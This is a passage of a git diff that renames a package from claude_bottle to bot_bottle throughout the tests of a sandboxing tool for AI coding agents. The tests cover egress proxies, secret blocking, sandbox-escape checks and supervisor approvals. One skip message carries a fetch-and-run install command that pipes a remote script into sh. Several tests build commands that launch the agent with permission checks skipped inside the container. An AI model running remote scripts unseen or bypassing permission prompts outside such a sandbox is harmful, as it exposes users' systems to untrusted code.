a/tests/integration/test_pipelock_blocks_secret_post.py +++ b/tests/integration/test_pipelock_blocks_secret_post.py @@ -21,8 +21,8 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend -from claude_bottle.manifest import Manifest +from bot_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.manifest import Manifest from tests._docker import skip_unless_docker diff --git a/tests/integration/test_pipelock_llm_passthrough.py b/tests/integration/test_pipelock_llm_passthrough.py index bca19b7..f243fe3 100644 --- a/tests/integration/test_pipelock_llm_passthrough.py +++ b/tests/integration/test_pipelock_llm_passthrough.py @@ -22,8 +22,8 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend -from claude_bottle.manifest import Manifest +from bot_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.manifest import Manifest from tests._docker import skip_unless_docker diff --git a/tests/integration/test_sandbox_escape.py b/tests/integration/test_sandbox_escape.py index a50369c..c9fcad2 100644 --- a/tests/integration/test_sandbox_escape.py +++ b/tests/integration/test_sandbox_escape.py @@ -12,7 +12,7 @@ asserts each one is blocked: The suite is backend-agnostic — it goes through `get_bottle_backend()` so a future smolmachines backend can be tested by setting -`CLAUDE_BOTTLE_BACKEND=smolmachines` without touching this file. +`BOT_BOTTLE_BACKEND=smolmachines` without touching this file. PRD 0022 chunk 1 (this commit): fixture + setUpClass + tearDownClass + preflight tool check. Attack tests land in @@ -28,9 +28,9 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend -from claude_bottle.backend.docker.bottle_state import cleanup_state -from claude_bottle.manifest import Manifest +from bot_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.backend.docker.bottle_state import cleanup_state +from bot_bottle.manifest import Manifest from tests._docker import skip_unless_docker @@ -78,16 +78,16 @@ class TestSandboxEscape(unittest.TestCase): # already covers that. Smolmachines additionally needs smolvm on # PATH and is macOS-only in v1 (libkrun/TSI). Skip cleanly when # those are missing rather than die-ing inside backend.prepare. - backend_name = os.environ.get("CLAUDE_BOTTLE_BACKEND", "docker") + backend_name = os.environ.get("BOT_BOTTLE_BACKEND", "docker") if backend_name == "smolmachines": if sys.platform != "darwin": raise unittest.SkipTest( - "CLAUDE_BOTTLE_BACKEND=smolmachines is macOS-only in " + "BOT_BOTTLE_BACKEND=smolmachines is macOS-only in " "v1 (libkrun TSI)" ) if shutil.which("smolvm") is None: raise unittest.SkipTest( - "CLAUDE_BOTTLE_BACKEND=smolmachines requires `smolvm` " + "BOT_BOTTLE_BACKEND=smolmachines requires `smolvm` " "on PATH: curl -sSL https://smolmachines.com/install.sh | sh" ) diff --git a/tests/integration/test_sidecar_bundle_compose.py b/tests/integration/test_sidecar_bundle_compose.py index 61ac5ec..5829588 100644 --- a/tests/integration/test_sidecar_bundle_compose.py +++ b/tests/integration/test_sidecar_bundle_compose.py @@ -1,6 +1,6 @@ """Integration: end-to-end smoke for the PRD 0024 bundle shape. -Verifies that flipping `CLAUDE_BOTTLE_SIDECAR_BUNDLE=1` produces a +Verifies that flipping `BOT_BOTTLE_SIDECAR_BUNDLE=1` produces a working bottle: `docker compose up` brings the agent + bundle pair online, the four daemons inside the bundle bind their ports, and the agent can reach pipelock + supervise via the bundle's network @@ -21,8 +21,8 @@ import unittest from pathlib import Path from unittest.mock import patch -from claude_bottle.backend import BottleSpec, get_bottle_backend -from claude_bottle.manifest import Manifest +from bot_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.manifest import Manifest from tests._docker import skip_unless_docker @@ -57,7 +57,7 @@ class TestSidecarBundleCompose(unittest.TestCase): def test_bottle_up_with_bundle_flag_on(self): stage_dir = Path(tempfile.mkdtemp(prefix="cb-bundle-smoke.")) try: - with patch.dict(os.environ, {"CLAUDE_BOTTLE_SIDECAR_BUNDLE": "1"}): + with patch.dict(os.environ, {"BOT_BOTTLE_SIDECAR_BUNDLE": "1"}): backend = get_bottle_backend() spec = BottleSpec( manifest=_manifest(), diff --git a/tests/integration/test_sidecar_bundle_image.py b/tests/integration/test_sidecar_bundle_image.py index 8d6ccb0..08c2644 100644 --- a/tests/integration/test_sidecar_bundle_image.py +++ b/tests/integration/test_sidecar_bundle_image.py @@ -28,7 +28,7 @@ import unittest from tests._docker import skip_unless_docker -_IMAGE = "claude-bottle-sidecars-test:chunk1" +_IMAGE = "bot-bottle-sidecars-test:chunk1" _DOCKERFILE = "Dockerfile.sidecars" @@ -108,7 +108,7 @@ class TestSidecarBundleImage(unittest.TestCase): # ENTRYPOINT wiring works. proc = subprocess.run( ["docker", "run", "--rm", - "-e", "CLAUDE_BOTTLE_SIDECAR_DAEMONS=nothing", + "-e", "BOT_BOTTLE_SIDECAR_DAEMONS=nothing", _IMAGE], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=10.0, diff --git a/tests/integration/test_smolmachines_bundle_bringup.py b/tests/integration/test_smolmachines_bundle_bringup.py index c6ef37f..bbf985b 100644 --- a/tests/integration/test_smolmachines_bundle_bringup.py +++ b/tests/integration/test_smolmachines_bundle_bringup.py @@ -18,7 +18,7 @@ import subprocess import time import unittest -from claude_bottle.backend.smolmachines.sidecar_bundle import ( +from bot_bottle.backend.smolmachines.sidecar_bundle import ( BundleLaunchSpec, bundle_container_name, bundle_network_name, @@ -47,13 +47,13 @@ class TestBundleBringup(unittest.TestCase): remove_bundle_network(self.network) def _bundle_image_built(self) -> bool: - """The bundle image (`claude-bottle-sidecars:latest`) is + """The bundle image (`bot-bottle-sidecars:latest`) is built lazily by the docker backend's compose. If a smolmachines-only operator hasn't run the docker backend first, the image won't exist locally. Skip rather than fail.""" r = subprocess.run( - ["docker", "image", "inspect", "claude-bottle-sidecars:latest"], + ["docker", "image", "inspect", "bot-bottle-sidecars:latest"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False, ) @@ -62,7 +62,7 @@ class TestBundleBringup(unittest.TestCase): def test_create_network_then_start_bundle_pins_ip(self): if not self._bundle_image_built(): self.skipTest( - "claude-bottle-sidecars:latest not built; run a docker " + "bot-bottle-sidecars:latest not built; run a docker " "bottle first or `docker build -f Dockerfile.sidecars .`" ) @@ -85,7 +85,7 @@ class TestBundleBringup(unittest.TestCase): # Only run the pipelock daemon for this smoke — it's # the lightest of the four and doesn't need bind # mounts beyond what we'd skip without - # CLAUDE_BOTTLE_SIDECAR_DAEMONS. (The init + # BOT_BOTTLE_SIDECAR_DAEMONS. (The init # supervisor will exit if pipelock fails to find its # yaml — that's expected here; we just need the # container to land on the network at the right IP.) diff --git a/tests/integration/test_smolmachines_launch.py b/tests/integration/test_smolmachines_launch.py index b8f907d..75c2b41 100644 --- a/tests/integration/test_smolmachines_launch.py +++ b/tests/integration/test_smolmachines_launch.py @@ -32,9 +32,9 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend -from claude_bottle.backend.smolmachines.smolvm import is_available as _smolvm_available -from claude_bottle.manifest import Manifest +from bot_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.backend.smolmachines.smolvm import is_available as _smolvm_available +from bot_bottle.manifest import Manifest from tests._docker import skip_unless_docker @@ -76,7 +76,7 @@ class TestSmolmachinesLaunch(unittest.TestCase): @classmethod def setUpClass(cls) -> None: cls.stage = Path(tempfile.mkdtemp(prefix="cb-smol-launch.")) - os.environ["CLAUDE_BOTTLE_BACKEND"] = "smolmachines" + os.environ["BOT_BOTTLE_BACKEND"] = "smolmachines" backend = get_bottle_backend() spec = BottleSpec( manifest=_minimal_manifest(), @@ -94,7 +94,7 @@ class TestSmolmachinesLaunch(unittest.TestCase): cls._launch.__exit__(None, None, None) finally: shutil.rmtree(cls.stage, ignore_errors=True) - os.environ.pop("CLAUDE_BOTTLE_BACKEND", None) + os.environ.pop("BOT_BOTTLE_BACKEND", None) def test_smoke_exec_echo(self): # The plumbing-verifies-end-to-end smoke: a shell command @@ -152,10 +152,10 @@ class TestSmolmachinesLaunch(unittest.TestCase): def test_prompt_file_lands_in_guest(self): # provision_prompt copies the host-side prompt.txt into the - # guest at /root/.claude-bottle-prompt.txt. The content + # guest at /root/.bot-bottle-prompt.txt. The content # must match what the manifest declared so claude-code's # --append-system-prompt-file reads the right text. - r = self.bottle.exec("cat /root/.claude-bottle-prompt.txt") + r = self.bottle.exec("cat /root/.bot-bottle-prompt.txt") self.assertEqual(0, r.returncode, msg=r.stderr) self.assertEqual(_AGENT_PROMPT, r.stdout.rstrip("\n")) diff --git a/tests/integration/test_smolmachines_smolvm_smoke.py b/tests/integration/test_smolmachines_smolvm_smoke.py index 9e66307..34303f0 100644 --- a/tests/integration/test_smolmachines_smolvm_smoke.py +++ b/tests/integration/test_smolmachines_smolvm_smoke.py @@ -15,7 +15,7 @@ import platform import subprocess import unittest -from claude_bottle.backend.smolmachines.smolvm import is_available +from bot_bottle.backend.smolmachines.smolvm import is_available @unittest.skipIf( diff --git a/tests/unit/test_backend_selection.py b/tests/unit/test_backend_selection.py index f6e32ac..ef16696 100644 --- a/tests/unit/test_backend_selection.py +++ b/tests/unit/test_backend_selection.py @@ -12,8 +12,8 @@ import os import unittest from unittest.mock import patch -from claude_bottle import backend as backend_mod -from claude_bottle.backend import ( +from bot_bottle import backend as backend_mod +from bot_bottle.backend import ( ActiveAgent, enumerate_active_agents, get_bottle_backend, @@ -23,12 +23,12 @@ from claude_bottle.backend import ( class TestGetBottleBackend(unittest.TestCase): def test_explicit_name_wins_over_env(self): - with patch.dict(os.environ, {"CLAUDE_BOTTLE_BACKEND": "smolmachines"}): + with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "smolmachines"}): b = get_bottle_backend("docker") self.assertEqual("docker", b.name) def test_env_var_fallback(self): - with patch.dict(os.environ, {"CLAUDE_BOTTLE_BACKEND": "smolmachines"}): + with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "smolmachines"}): b = get_bottle_backend() self.assertEqual("smolmachines", b.name) @@ -139,11 +139,11 @@ class TestHasBackend(unittest.TestCase): with patch.object( backend_mod, "_BACKENDS", {"docker": _FakeBackend()}, ): - from claude_bottle.backend import has_backend + from bot_bottle.backend import has_backend self.assertFalse(has_backend("docker")) def test_unknown_backend_returns_false(self): - from claude_bottle.backend import has_backend + from bot_bottle.backend import has_backend self.assertFalse(has_backend("nonexistent")) diff --git a/tests/unit/test_bottle_state.py b/tests/unit/test_bottle_state.py index 858b8b4..4386976 100644 --- a/tests/unit/test_bottle_state.py +++ b/tests/unit/test_bottle_state.py @@ -6,9 +6,9 @@ import tempfile import unittest from pathlib import Path -from claude_bottle import supervise -from claude_bottle.backend.docker import bottle_state -from claude_bottle.backend.docker.bottle_state import ( +from bot_bottle import supervise +from bot_bottle.backend.docker import bottle_state +from bot_bottle.backend.docker.bottle_state import ( BottleMetadata, read_metadata, write_metadata, @@ -18,13 +18,13 @@ from claude_bottle.backend.docker.bottle_state import ( class _FakeHomeMixin: def _setup_fake_home(self): self._tmp = tempfile.TemporaryDirectory(prefix="bottle-state-test.") - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - self._restore = lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + self._restore = lambda: setattr(supervise, "bot_bottle_root", original) def _teardown_fake_home(self): self._restore() @@ -58,11 +58,11 @@ class TestPerBottleDockerfile(_FakeHomeMixin, unittest.TestCase): def test_dockerfile_path_under_state_dir(self): path = bottle_state.per_bottle_dockerfile_path("dev") - self.assertTrue(str(path).endswith("/.claude-bottle/state/dev/Dockerfile")) + self.assertTrue(str(path).endswith("/.bot-bottle/state/dev/Dockerfile")) def test_image_tag_unique_per_slug(self): self.assertEqual( - "claude-bottle-rebuilt-dev:latest", + "bot-bottle-rebuilt-dev:latest", bottle_state.per_bottle_image_tag("dev"), ) self.assertNotEqual( @@ -72,7 +72,7 @@ class TestPerBottleDockerfile(_FakeHomeMixin, unittest.TestCase): def test_transcript_dir_under_state_dir(self): path = bottle_state.transcript_snapshot_dir("dev") - self.assertTrue(str(path).endswith("/.claude-bottle/state/dev/transcript")) + self.assertTrue(str(path).endswith("/.bot-bottle/state/dev/transcript")) class TestBottleIdentity(unittest.TestCase): @@ -143,7 +143,7 @@ class TestPreserveMarker(_FakeHomeMixin, unittest.TestCase): def test_marker_path_under_state_dir(self): path = bottle_state.preserve_marker_path("dev-x") - self.assertTrue(str(path).endswith("/.claude-bottle/state/dev-x/.preserve")) + self.assertTrue(str(path).endswith("/.bot-bottle/state/dev-x/.preserve")) class TestCleanupState(_FakeHomeMixin, unittest.TestCase): @@ -197,7 +197,7 @@ class TestBottleMetadata(_FakeHomeMixin, unittest.TestCase): ) path = write_metadata(meta) self.assertTrue( - str(path).endswith("/.claude-bottle/state/dev-x/metadata.json"), + str(path).endswith("/.bot-bottle/state/dev-x/metadata.json"), ) def test_overwriting_metadata_updates_timestamp(self): diff --git a/tests/unit/test_capability_apply.py b/tests/unit/test_capability_apply.py index bcef7fb..f494bce 100644 --- a/tests/unit/test_capability_apply.py +++ b/tests/unit/test_capability_apply.py @@ -12,9 +12,9 @@ import tempfile import unittest from pathlib import Path -from claude_bottle import supervise -from claude_bottle.backend.docker import bottle_state, capability_apply -from claude_bottle.backend.docker.capability_apply import ( +from bot_bottle import supervise +from bot_bottle.backend.docker import bottle_state, capability_apply +from bot_bottle.backend.docker.capability_apply import ( CapabilityApplyError, apply_capability_change, fetch_current_dockerfile, @@ -24,13 +24,13 @@ from claude_bottle.backend.docker.capability_apply import ( class _FakeHomeMixin: def _setup_fake_home(self): self._tmp = tempfile.TemporaryDirectory(prefix="cap-apply-test.") - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - self._restore = lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + self._restore = lambda: setattr(supervise, "bot_bottle_root", original) def _teardown_fake_home(self): self._restore() diff --git a/tests/unit/test_cli_cleanup_cross_backend.py b/tests/unit/test_cli_cleanup_cross_backend.py index e152966..328efb0 100644 --- a/tests/unit/test_cli_cleanup_cross_backend.py +++ b/tests/unit/test_cli_cleanup_cross_backend.py @@ -10,7 +10,7 @@ import sys import unittest from unittest.mock import patch, MagicMock -from claude_bottle.cli import cleanup as cmd +from bot_bottle.cli import cleanup as cmd def _make_backend(empty: bool = True): diff --git a/tests/unit/test_cli_start_backend_flag.py b/tests/unit/test_cli_start_backend_flag.py index 54ee8a3..b3d3529 100644 --- a/tests/unit/test_cli_start_backend_flag.py +++ b/tests/unit/test_cli_start_backend_flag.py @@ -13,7 +13,7 @@ import unittest from unittest.mock import patch -from claude_bottle.backend import known_backend_names +from bot_bottle.backend import known_backend_names class TestStartBackendFlag(unittest.TestCase): @@ -51,9 +51,9 @@ class TestStartBackendFlag(unittest.TestCase): def test_resolution_priority_explicit_over_env(self): # Independent assertion that get_bottle_backend (where # `--backend` ultimately threads to) prefers the explicit - # name over CLAUDE_BOTTLE_BACKEND. - from claude_bottle.backend import get_bottle_backend - with patch.dict(os.environ, {"CLAUDE_BOTTLE_BACKEND": "smolmachines"}): + # name over BOT_BOTTLE_BACKEND. + from bot_bottle.backend import get_bottle_backend + with patch.dict(os.environ, {"BOT_BOTTLE_BACKEND": "smolmachines"}): self.assertEqual("docker", get_bottle_backend("docker").name) diff --git a/tests/unit/test_cli_start_settle.py b/tests/unit/test_cli_start_settle.py index 8ae0d05..267698c 100644 --- a/tests/unit/test_cli_start_settle.py +++ b/tests/unit/test_cli_start_settle.py @@ -8,23 +8,23 @@ import tempfile import unittest from pathlib import Path -from claude_bottle import supervise -from claude_bottle.backend.docker import bottle_state -from claude_bottle.cli import start as start_mod +from bot_bottle import supervise +from bot_bottle.backend.docker import bottle_state +from bot_bottle.cli import start as start_mod class _FakeHomeMixin: def _setup_fake_home(self): self._tmp = tempfile.TemporaryDirectory(prefix="cli-start-settle.") - self._original = supervise.claude_bottle_root + self._original = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] + supervise.bot_bottle_root = fake_root # type: ignore[assignment] def _teardown_fake_home(self): - supervise.claude_bottle_root = self._original # type: ignore[assignment] + supervise.bot_bottle_root = self._original # type: ignore[assignment] self._tmp.cleanup() diff --git a/tests/unit/test_compose.py b/tests/unit/test_compose.py index bb99812..901c34c 100644 --- a/tests/unit/test_compose.py +++ b/tests/unit/test_compose.py @@ -12,22 +12,22 @@ from __future__ import annotations import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec -from claude_bottle.backend.docker.bottle_plan import DockerBottlePlan -from claude_bottle.backend.docker.compose import ( +from bot_bottle.backend import BottleSpec +from bot_bottle.backend.docker.bottle_plan import DockerBottlePlan +from bot_bottle.backend.docker.compose import ( COMPOSE_PROJECT_PREFIX, bottle_plan_to_compose, compose_project_name, slug_from_compose_project, ) -from claude_bottle.egress import ( +from bot_bottle.egress import ( EgressPlan, EgressRoute, ) -from claude_bottle.git_gate import GitGatePlan, GitGateUpstream -from claude_bottle.manifest import Manifest -from claude_bottle.pipelock import PipelockProxyPlan -from claude_bottle.supervise import SupervisePlan +from bot_bottle.git_gate import GitGatePlan, GitGateUpstream +from bot_bottle.manifest import Manifest +from bot_bottle.pipelock import PipelockProxyPlan +from bot_bottle.supervise import SupervisePlan SLUG = "demo-abc12" @@ -78,9 +78,9 @@ def _proxy_plan() -> PipelockProxyPlan: return PipelockProxyPlan( yaml_path=STATE / "pipelock.yaml", slug=SLUG, - internal_network=f"claude-bottle-net-{SLUG}", + internal_network=f"bot-bottle-net-{SLUG}", internal_network_cidr="10.1.2.0/24", - egress_network=f"claude-bottle-egress-{SLUG}", + egress_network=f"bot-bottle-egress-{SLUG}", ca_cert_host_path=STATE / "pipelock-ca" / "ca.pem", ca_key_host_path=STATE / "pipelock-ca" / "ca-key.pem", ) @@ -93,8 +93,8 @@ def _git_gate_plan(upstreams: tuple[GitGateUpstream, ...] = ()) -> GitGatePlan: hook_script=STATE / "git-gate" / "pre-receive", access_hook_script=STATE / "git-gate" / "access-hook", upstreams=upstreams, - internal_network=f"claude-bottle-net-{SLUG}", - egress_network=f"claude-bottle-egress-{SLUG}", + internal_network=f"bot-bottle-net-{SLUG}", + egress_network=f"bot-bottle-egress-{SLUG}", ) @@ -109,8 +109,8 @@ def _egress_plan(routes: tuple[EgressRoute, ...] = ()) -> EgressPlan: routes_path=STATE / "egress" / "routes.yaml", routes=routes, token_env_map=token_env_map, - internal_network=f"claude-bottle-net-{SLUG}", - egress_network=f"claude-bottle-egress-{SLUG}", + internal_network=f"bot-bottle-net-{SLUG}", + egress_network=f"bot-bottle-egress-{SLUG}", mitmproxy_ca_host_path=STATE / "egress-ca" / "mitmproxy-ca.pem", mitmproxy_ca_cert_only_host_path=STATE / "egress-ca" / "ca.pem", pipelock_ca_host_path=STATE / "pipelock-ca" / "ca.pem", @@ -123,7 +123,7 @@ def _supervise_plan() -> SupervisePlan: slug=SLUG, queue_dir=STATE / "supervise" / "queue", current_config_dir=STATE / "supervise" / "current-config", - internal_network=f"claude-bottle-net-{SLUG}", + internal_network=f"bot-bottle-net-{SLUG}", ) @@ -161,11 +161,11 @@ def _plan( spec=_spec(supervise=supervise, with_git=with_git, with_egress=with_egress), stage_dir=STAGE, slug=SLUG, - container_name=f"claude-bottle-{SLUG}", + container_name=f"bot-bottle-{SLUG}", container_name_pinned=False, - image="claude-bottle:latest", + image="bot-bottle-claude:latest", derived_image="", - runtime_image="claude-bottle:latest", + runtime_image="bot-bottle-claude:latest", dockerfile_path="", env_file=Path("/dev/null"), # exists, size 0 → renderer skips env_file forwarded_env={"CLAUDE_CODE_OAUTH_TOKEN": "x"}, @@ -181,18 +181,18 @@ def _plan( class TestProjectAndNetworks(unittest.TestCase): def test_project_name(self): spec = bottle_plan_to_compose(_plan()) - self.assertEqual(f"claude-bottle-{SLUG}", spec["name"]) + self.assertEqual(f"bot-bottle-{SLUG}", spec["name"]) def test_internal_network_is_internal(self): spec = bottle_plan_to_compose(_plan()) net = spec["networks"]["internal"] - self.assertEqual(f"claude-bottle-net-{SLUG}", net["name"]) + self.assertEqual(f"bot-bottle-net-{SLUG}", net["name"]) self.assertTrue(net["internal"]) def test_egress_network_is_external_bridge(self): spec = bottle_plan_to_compose(_plan()) net = spec["networks"]["egress"] - self.assertEqual(f"claude-bottle-egress-{SLUG}", net["name"]) + self.assertEqual(f"bot-bottle-egress-{SLUG}", net["name"]) # No `internal:` key on the egress network — defaults to a # normal user-defined bridge. self.assertNotIn("internal", net) @@ -262,13 +262,13 @@ class TestAgentAlwaysPresent(unittest.TestCase): def test_agent_current_config_mount_only_with_supervise(self): with_sv = bottle_plan_to_compose(_plan(supervise=True))["services"]["agent"] self.assertTrue(any( - v["target"] == "/etc/claude-bottle/current-config" + v["target"] == "/etc/bot-bottle/current-config" for v in with_sv.get("volumes", []) )) without_sv = bottle_plan_to_compose(_plan(supervise=False))["services"]["agent"] # Either no volumes key at all, or no current-config target. self.assertFalse(any( - v["target"] == "/etc/claude-bottle/current-config" + v["target"] == "/etc/bot-bottle/current-config" for v in without_sv.get("volumes", []) )) @@ -293,12 +293,12 @@ class TestSidecarBundleShape(unittest.TestCase): def test_bundle_uses_bundle_image_and_dockerfile(self): sc = self._render()["services"]["sidecars"] - self.assertEqual("claude-bottle-sidecars:latest", sc["image"]) + self.assertEqual("bot-bottle-sidecars:latest", sc["image"]) self.assertEqual("Dockerfile.sidecars", sc["build"]["dockerfile"]) def test_bundle_container_name_uses_sidecars_prefix(self): sc = self._render()["services"]["sidecars"] - self.assertEqual(f"claude-bottle-sidecars-{SLUG}", sc["container_name"]) + self.assertEqual(f"bot-bottle-sidecars-{SLUG}", sc["container_name"]) def test_bundle_joins_both_networks(self): sc = self._render()["services"]["sidecars"] @@ -335,18 +335,18 @@ class TestSidecarBundleShape(unittest.TestCase): daemons = { line.split("=", 1)[1] for line in sc["environment"] - if line.startswith("CLAUDE_BOTTLE_SIDECAR_DAEMONS=") + if line.startswith("BOT_BOTTLE_SIDECAR_DAEMONS=") } self.assertEqual({"egress,pipelock"}, daemons) def test_daemons_csv_expands_with_optional_sidecars(self): sc = self._render(with_git=True, supervise=True)["services"]["sidecars"] for line in sc["environment"]: - if line.startswith("CLAUDE_BOTTLE_SIDECAR_DAEMONS="): + if line.startswith("BOT_BOTTLE_SIDECAR_DAEMONS="): csv = line.split("=", 1)[1] break else: - self.fail("CLAUDE_BOTTLE_SIDECAR_DAEMONS not in env") + self.fail("BOT_BOTTLE_SIDECAR_DAEMONS not in env") self.assertEqual( ["egress", "pipelock", "git-gate", "supervise"], csv.split(","), diff --git a/tests/unit/test_dashboard.py b/tests/unit/test_dashboard.py index 7cd7708..253fe99 100644 --- a/tests/unit/test_dashboard.py +++ b/tests/unit/test_dashboard.py @@ -15,12 +15,12 @@ import unittest from datetime import datetime, timezone from pathlib import Path -from claude_bottle import supervise -from claude_bottle.backend.docker.capability_apply import CapabilityApplyError -from claude_bottle.backend.docker.egress_apply import EgressApplyError -from claude_bottle.backend.docker.pipelock_apply import PipelockApplyError -from claude_bottle.cli import dashboard -from claude_bottle.supervise import ( +from bot_bottle import supervise +from bot_bottle.backend.docker.capability_apply import CapabilityApplyError +from bot_bottle.backend.docker.egress_apply import EgressApplyError +from bot_bottle.backend.docker.pipelock_apply import PipelockApplyError +from bot_bottle.cli import dashboard +from bot_bottle.supervise import ( Proposal, STATUS_APPROVED, STATUS_MODIFIED, @@ -58,17 +58,17 @@ def _proposal(slug: str = "dev", tool: str = TOOL_EGRESS_BLOCK) -> Proposal: class _FakeHomeMixin: - """Patch supervise.claude_bottle_root to a temp dir for the test.""" + """Patch supervise.bot_bottle_root to a temp dir for the test.""" def _setup_fake_home(self): self._tmp = tempfile.TemporaryDirectory(prefix="dashboard-test.") - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - self._restore_home = lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + self._restore_home = lambda: setattr(supervise, "bot_bottle_root", original) def _teardown_fake_home(self): self._restore_home() diff --git a/tests/unit/test_dashboard_active_agents.py b/tests/unit/test_dashboard_active_agents.py index 32f9a79..d720bdf 100644 --- a/tests/unit/test_dashboard_active_agents.py +++ b/tests/unit/test_dashboard_active_agents.py @@ -6,20 +6,20 @@ import tempfile import unittest from pathlib import Path -from claude_bottle import supervise -from claude_bottle.cli import dashboard +from bot_bottle import supervise +from bot_bottle.cli import dashboard class _FakeHomeMixin: def _setup_fake_home(self) -> None: self._tmp = tempfile.TemporaryDirectory(prefix="dashboard-aa-test.") - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - self._restore_home = lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + self._restore_home = lambda: setattr(supervise, "bot_bottle_root", original) def _teardown_fake_home(self) -> None: self._restore_home() @@ -230,7 +230,7 @@ class TestBottleForSlug(unittest.TestCase): def test_unowned_synthesizes_docker_bottle(self): bottle, _ = dashboard._bottle_for_slug("dev-xyz", {}, None) # The synth wraps the slug-derived container name. - self.assertEqual("claude-bottle-dev-xyz", bottle.name) + self.assertEqual("bot-bottle-dev-xyz", bottle.name) def test_unowned_without_manifest_omits_prompt_path(self): bottle, hint = dashboard._bottle_for_slug("dev-xyz", {}, None) @@ -295,7 +295,7 @@ class TestTmuxPaneArgvBuilders(unittest.TestCase): DOCKER_ARGV = [ "docker", "exec", "-it", - "claude-bottle-dev-abc", + "bot-bottle-dev-abc", "claude", "--dangerously-skip-permissions", "--continue", ] @@ -329,9 +329,9 @@ class TestResumeArgvWithFallback(unittest.TestCase): --continue has no session to resume.""" def _bottle(self, prompt_path: str | None = None): - from claude_bottle.backend.docker.bottle import DockerBottle + from bot_bottle.backend.docker.bottle import DockerBottle return DockerBottle( - container="claude-bottle-dev-abc", + container="bot-bottle-dev-abc", teardown=lambda: None, prompt_path_in_container=prompt_path, ) @@ -340,7 +340,7 @@ class TestResumeArgvWithFallback(unittest.TestCase): argv = dashboard._build_resume_argv_with_fallback(self._bottle()) # Must end with `sh -c ' --continue || '`. self.assertEqual( - ["docker", "exec", "-it", "claude-bottle-dev-abc", "sh", "-c"], + ["docker", "exec", "-it", "bot-bottle-dev-abc", "sh", "-c"], argv[:6], ) inner = argv[6] @@ -362,10 +362,10 @@ class TestResumeArgvWithFallback(unittest.TestCase): self.assertIn("--dangerously-skip-permissions", argv[-1]) def test_includes_prompt_file_flag_when_set(self): - bottle = self._bottle("/home/node/.claude-bottle-prompt.txt") + bottle = self._bottle("/home/node/.bot-bottle-prompt.txt") argv = dashboard._build_resume_argv_with_fallback(bottle) self.assertIn("--append-system-prompt-file", argv[-1]) - self.assertIn("/home/node/.claude-bottle-prompt.txt", argv[-1]) + self.assertIn("/home/node/.bot-bottle-prompt.txt", argv[-1]) class TestClaudeRuntimeArgs(unittest.TestCase): diff --git a/tests/unit/test_dashboard_detail_lines.py b/tests/unit/test_dashboard_detail_lines.py index 732430c..b1afd44 100644 --- a/tests/unit/test_dashboard_detail_lines.py +++ b/tests/unit/test_dashboard_detail_lines.py @@ -7,9 +7,9 @@ which hostname will land in pipelock's allowlist on approval.""" import unittest -from claude_bottle import supervise -from claude_bottle.cli import dashboard -from claude_bottle.supervise import ( +from bot_bottle import supervise +from bot_bottle.cli import dashboard +from bot_bottle.supervise import ( Proposal, TOOL_CAPABILITY_BLOCK, TOOL_EGRESS_BLOCK, diff --git a/tests/unit/test_dashboard_highlight.py b/tests/unit/test_dashboard_highlight.py index 37e4816..79983a7 100644 --- a/tests/unit/test_dashboard_highlight.py +++ b/tests/unit/test_dashboard_highlight.py @@ -6,7 +6,7 @@ highlight window?`""" import unittest -from claude_bottle.cli import dashboard +from bot_bottle.cli import dashboard class TestIsRecent(unittest.TestCase): diff --git a/tests/unit/test_docker_bottle.py b/tests/unit/test_docker_bottle.py index c2f7736..93354f0 100644 --- a/tests/unit/test_docker_bottle.py +++ b/tests/unit/test_docker_bottle.py @@ -11,12 +11,12 @@ from __future__ import annotations import unittest -from claude_bottle.backend.docker.bottle import DockerBottle +from bot_bottle.backend.docker.bottle import DockerBottle def _bottle(prompt_path: str | None = None) -> DockerBottle: return DockerBottle( - container="claude-bottle-dev-abc", + container="bot-bottle-dev-abc", teardown=lambda: None, prompt_path_in_container=prompt_path, ) @@ -24,7 +24,7 @@ def _bottle(prompt_path: str | None = None) -> DockerBottle: def _codex_bottle(prompt_path: str | None = None) -> DockerBottle: return DockerBottle( - container="claude-bottle-dev-abc", + container="bot-bottle-dev-abc", teardown=lambda: None, prompt_path_in_container=prompt_path, agent_command="codex", @@ -36,7 +36,7 @@ class TestClaudeArgv(unittest.TestCase): def test_minimal_argv_no_prompt(self): argv = _bottle().claude_argv([]) self.assertEqual( - ["docker", "exec", "-it", "claude-bottle-dev-abc", "claude"], + ["docker", "exec", "-it", 